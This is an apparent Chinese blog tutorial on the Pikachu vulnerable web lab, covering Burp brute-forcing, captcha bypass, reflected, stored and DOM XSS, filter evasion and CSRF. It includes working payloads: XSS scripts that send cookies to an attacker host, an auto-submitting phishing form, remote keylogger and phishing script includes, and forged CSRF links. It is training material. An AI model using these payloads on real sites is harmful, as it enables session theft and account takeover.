Pikachu教程-1

pikachu:

暴力破解

基于表单的暴力破解实验:

fig:

使用burp的Intruder模块进行暴力破解

fig:

payload选项卡设置字典

资源池,设置扫描的线程,失败重试,请求间隔,对结果设置识别符号等

第一种攻击Sniper

fig:

对单个目标不断重发,简单列表就是可以在下面直接加或者粘贴,Runtime file就是指定字典文件

fig:

fig:

第二种攻击Battering ram

POST /vul/burteforce/bf_form.php HTTP/1.1
Host: pikachu:8018
Content-Length: 34
Cache-Control: max-age=0
Origin: http://pikachu:8018
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://pikachu:8018/vul/burteforce/bf_form.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=5k229ti7kv4drflqa9a84ho896
x-forwarded-for: 127.0.0.1
Connection: close

username=§1§&password=§1§&submit=Login

其实就是对你选的每一个变量都变成你字典中的值不断重发

fig:

第三种攻击Pitchfork

其实就是多个字典,一一对应的重发

fig:

第四种攻击Cluster bomb

做交叉,对每一个密码尝试发所有账号的包

fig:

如何判断哪次请求是成功的腻???

爆破失败

提示:username or password is not exists~

使用Setting中的Grep - Match

fig:

然后再去爆破,会有一个 username or password is not exists选项,点一下,筛选出不带值的就是爆破成功的账号密码

fig:

还有就是根据返回包的长度:

fig:

爆破成功的返回数据包长度一般会与失败的长度不一样

绕过验证码的爆破

fig:

与后台相关的验证码,对验证码设置特定SESSION,有效期限等等,这样才是安全的验证码

但是有些系统存在验证码绕过

在服务端的验证码

一,验证码在后台不过期,导致可以长期使用

二,验证码校验不严格,逻辑有问题

三,设计太简单,可机器识别提取等等

服务端验证码:可能会有时间效果

一样可以来拿爆破

在前端做的验证码

通过JS代码生成并验证的:

<script language="javascript" type="text/javascript">
var code; //在全局 定义验证码
function createCode() {
code = "";
var codeLength = 5;//验证码的长度
var checkCode = document.getElementById("checkCode");
var selectChar = new Array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9,'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');//所有候选组成验证码的字符,当然也可以用中文的

for (var i = 0; i < codeLength; i++) {
var charIndex = Math.floor(Math.random() * 36);
code += selectChar[charIndex];
}
//alert(code);
if (checkCode) {
checkCode.className = "code";
checkCode.value = code;
}
}

function validate() {
var inputCode = document.querySelector('#bf_client .vcode').value;
if (inputCode.length <= 0) {
alert("请输入验证码!");
return false;
} else if (inputCode != code) {
alert("验证码输入错误!");
createCode();//刷新验证码
return false;
}
else {
return true;
}
}


createCode();
</script>

这种的直接通过burp抓包—ctrl+r到重发器里面去

可以发现,随意更改验证码,或者删除验证码都是可以不断发包尝试爆破的,存在一个前端验证码的绕过

fig:

还有一些可以通过前端绕过

1,将验证码在cookie中泄露

2,将验证码存放在前端源码中

一样可以通过插件捕捉,添加到数据包中到达爆破目的

token显示在前端也是防不了暴力破解的

fig:

用工具先提取token然后插入数据包中即可爆破

XSS(跨站脚本)

跨站脚本

  • XSS(跨站脚本)概述
  • Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型: 1.反射性XSS; 2.存储型XSS; 3.DOM型XSS;
  • XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。 XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。 形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。 因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理: 输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入; 输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

XSS——获取cookie

钓鱼攻击

获取键盘记录

程序的输入输出控制不够严格,导致植入XSS代码

反射性XSS:

输入'"aaa查看返回什么

fig:

查看网页源代码,发现我们输入的代码直接插入p标签里面了

fig:

那么直接尝试<script>alert('xss')</script>

fig:

存在长度限制,修改前端代码即可——maxlength

抓包可以看到是由GET请求发包的

GET http://192.168.90.46:8003/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert%28111%29%3C%2Fscript%3E&submit=submit HTTP/1.1
Host: 192.168.90.46:8003
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.90.46:8003/vul/xss/xss_reflected_get.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=b1jp32b5oaqvpln25r4b3l7h21
x-forwarded-for: 127.0.0.1
Connection: keep-alive

直接把URL发送即可达到攻击

http://192.168.90.46:8003/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert%28111%29%3C%2Fscript%3E&submit=submit

POST其实就是参数和payload在数据包中,不是以URL形式展示

fig:

存储型XSS

fig:

一样的,放在了P标签中,可以执行任意JS代码

<script>alert('xss')</script>

DOM型xss

查看网页源码,说的很清楚

fig:

<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what doyou see?</a>";
}
//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行
</script>
<input id="text" name="text" type="text" value="" />
<input id="button" type="button" value="click me!" onclick="domxss()" />
<div id="dom"></div>

调用document(DOM)的getElem..方法获取text的内容

拼接到标签中,最后插入id="dom"的div中

其实就是构造 <a href='???'>what doyou see?</a>这里问号中的payload
整个过程都在前端处理
' onclick="alert('xss')">点这里

第二个一样的

<div id="xssd_main">
<script>
function domxss(){
var str = window.location.search;
var txss = decodeURIComponent(str.split("text=")[1]);
var xss = txss.replace(/\+/g,' ');
// alert(xss);

document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行
</script>
<!--<a href="" onclick=('xss')>-->
<form method="get">
<input id="text" name="text" type="text" value="" />
<input id="submit" type="submit" value="请说出你的伤心往事"/>
</form>
<div id="dom"></div>
</div>

<a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>

理解一下这里的前端代码就懂了,点击第一个a标签执行JS代码插入我们输入的代码,点击第二个执行输入代码

XSS获取cookie

进入pkxss后台:配置文件夹中pkxss的数据库密码等,访问xxx/pkxss/pkxss_install.php 点击安装即可

GET型XSS漏洞利用——

把漏洞URL发送给对方,欺骗对方点击,将对方cookie发送到我们的后台中

<script>document.location = 'http://IP/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

可以自己在主机和虚拟机里配合使用

POST型XSS利用方式——

用户请求伪造页面:

<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.90.46:8003/vul/xss/xsspost/xss_reflected_post.php">
<input id="xssr_in" type="text" name="message" value=
"<script>
document.location = 'http://192.168.139.128:8001/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>"
/>
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

<!--
*
<script>
document.write('<img src="http://127.0.0.1/antxss/xcookie/cookie.php?cookie='+document.cookie+'" width="0" height="0" border="0" />');
</script>
*/
/*
<script>
document.location = 'http://127.0.0.1/antxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>
*/
-->

将恶意链接发送给用户即可实现POST请求的恶意获取cookie攻击

http://192.168.139.131/post.html一旦加载这个页面window.onload获取post表单模拟提交自动发送post请求

存储型XSS钓鱼攻击:

<script src="http://192.168.139.128/pkxss/xfish/fish.php"></script>

存储跳转,这段代码相当于GET http://192.168.139.128/pkxss/xfish/fish.php

XSS键盘获取

远程调用JS文件 ,跨域请求

<script src="http://192.168.139.128/pkxss/rkeypress/rk.js"></script>

在我们攻击机后台设置允许跨域请求,配置后台地址即可实现

XSS盲打

尝试输入跨站攻击脚本,无回显并不知道XSS攻击是否成功

点击提示登录后台,攻击到的是后台管理员

<script>alert(111)</script>

这里相当于是存储型XSS,一样可以来获取XSS,监听键盘等等

XSS绕过——过滤——转换

前端限制绕过,直接抓包重发,修改前端源码等等

正则过滤,大小写混合等等:<SCRIPT>alert(111)</sCRIpt>

拼凑:<scri<script>pt>alert(111)</scri</script>pt>

使用注释进行干扰:<scri<!--test-->pt>alert(111)</sc<!--test-->ript>

过滤:
编码,后台过滤特殊字符<script>,比如

eg:事件属性onxxx();<img src=x onerror="alert('xss')" />

可以把alert('xss')进行HTML编码,

XSS过滤

尝试输入payload:<script>alert(111)</script>

fig:

观察URL:message=alert(111)<%2Fscript>&submit=submit

查看网页源码,过滤掉了scriptfig:

尝试大小写绕过 <ScRipT>alert(111)</ScRipt>
<svg onload=alert(1)>
<scr<script>ipt>alert(1)</scr<script>ipt>
<iframe src="javascript:alert(1)">
<img src=x onerror=alert(1)>
很多绕过姿势
这里没有编码就直接把用户输入插入到html
$html.="<p>别说这些'{$message}'的话,不要怕,就是干!</p>";

fig:

说明只是对小写的 “script” 进行了过滤

查看后端源码,可以发现只是使用正则对<script进行过滤

fig:

xss之htmlspecialchars

htmlspecialchars函数将特殊的 HTML 字符转义为实体字符,从而防止用户输入被当作 HTML 或 JavaScript 执行。

默认的htmlspecialchars仅转义HTML特殊字符,不转义单引号

payload: q' onclick='alert(111)'

<p class='notice'>你的输入已经被记录:</p>
<a href='q' onclick='alert(111)''>q' onclick='alert(111)'</a>
这里用一个单引号闭合掉href属性,即可实现XSS攻击

fig:

xss之href输出

javascript:alert(111)

<div class="page-content">

<div id="xssr_main">
<p class="xssr_title">请输入一个你常用的网站url地址,我就知道你是什么人</p>
<form method="get">
<input class="xssr_in" type="text" name="message" />

<input class="xssr_submit" type="submit" name="submit" value="submit" />
</form>
<a href='javascript:alert(111)'> 阁下自己输入的url还请自己点一下吧</a> </div>

</div><!-- /.page-content -->

xss之js输出

尝试输入111

<script>
$ms='111';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}

}

</script>

构造闭合

x'</script><script>alert('xss')</script>

闭合掉之前的即可

CSRF

Cross-site request forgery

跨站请求伪造

伪造一个请求(一个链接)欺骗用户点击,攻击实现(one click)

比如一个用户路人甲登录了一个网站,他进行密码修改操作,发送的是一个GET请求的数据包
然后黑客也注册了这个网站,他也做了这个请求,然后他将修改密码的请求伪造,引诱用户点击

条件:网站没有对用户修改请求做CSRF防护处理,路人甲点击链接时已经登录了网站(登陆状态)且易点击

与XSS的区别:本质上是借助用户权限攻击,XSS是拿到cookie直接盗取用户权限

测试:标记增删改查的请求,确认凭证的有效期(关闭浏览器cookie仍然有效)

比如:修改密码时无需输入旧密码,修改请求中没有使用安全的token

CSRF(get)

伪造GET请求的链接即可

http://192.168.90.46:8003/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=15988767673&add=nanjing&email=kobe%40pikachu.com&submit=submit
攻击者同样注册该网站进行登录然后修改个人信息抓包,发现修改敏感信息的请求类型是GET,可以伪造修改链接
用户点击改链接———实现攻击,修改用户信息

fig:

fig:

CSRF(post)

一样的测试流程,hacker登录后尝试修改信息,抓包查看数据包

POST http://192.168.90.46:8003/vul/csrf/csrfpost/csrf_post_edit.php HTTP/1.1
Host: 192.168.90.46:8003
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.90.46:8003/vul/csrf/csrfpost/csrf_post_edit.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
Origin: http://192.168.90.46:8003
Connection: keep-alive
Cookie: PHPSESSID=ddhk046jfq473qmcg0o5gpa313
Upgrade-Insecure-Requests: 1
Priority: u=0, i

sex=boy&phonenum=15988767673&add=wuhan&email=kobe%40pikachu.com&submit=submit

这里与XSS的POST钓鱼利用一样,伪造一个post钓鱼的页面,一旦访问自动提交post请求到CSRF漏洞站点

CSRF Token

每次请求修改信息页面时返回token

fig:

然后再提交修改时带上这个token,作为校验每次根据SESSID生成唯一的token进行对比

这样就做到了防护CSRF,攻击者无法伪造

GET http://192.168.90.46:8003/vul/csrf/csrftoken/token_get_edit.php?sex=boy&phonenum=15988767673&add=hhh1&email=kobe%40pikachu.com&token=2184168825b394b237229268978&submit=submit

防护:增加token,安全的会话管理避免会话被利用,访问控制—验证身份,使用POST增加验证码等等

posted @ 2025-08-11 12:12  絮行-l  阅读(11)  评论(0)    收藏  举报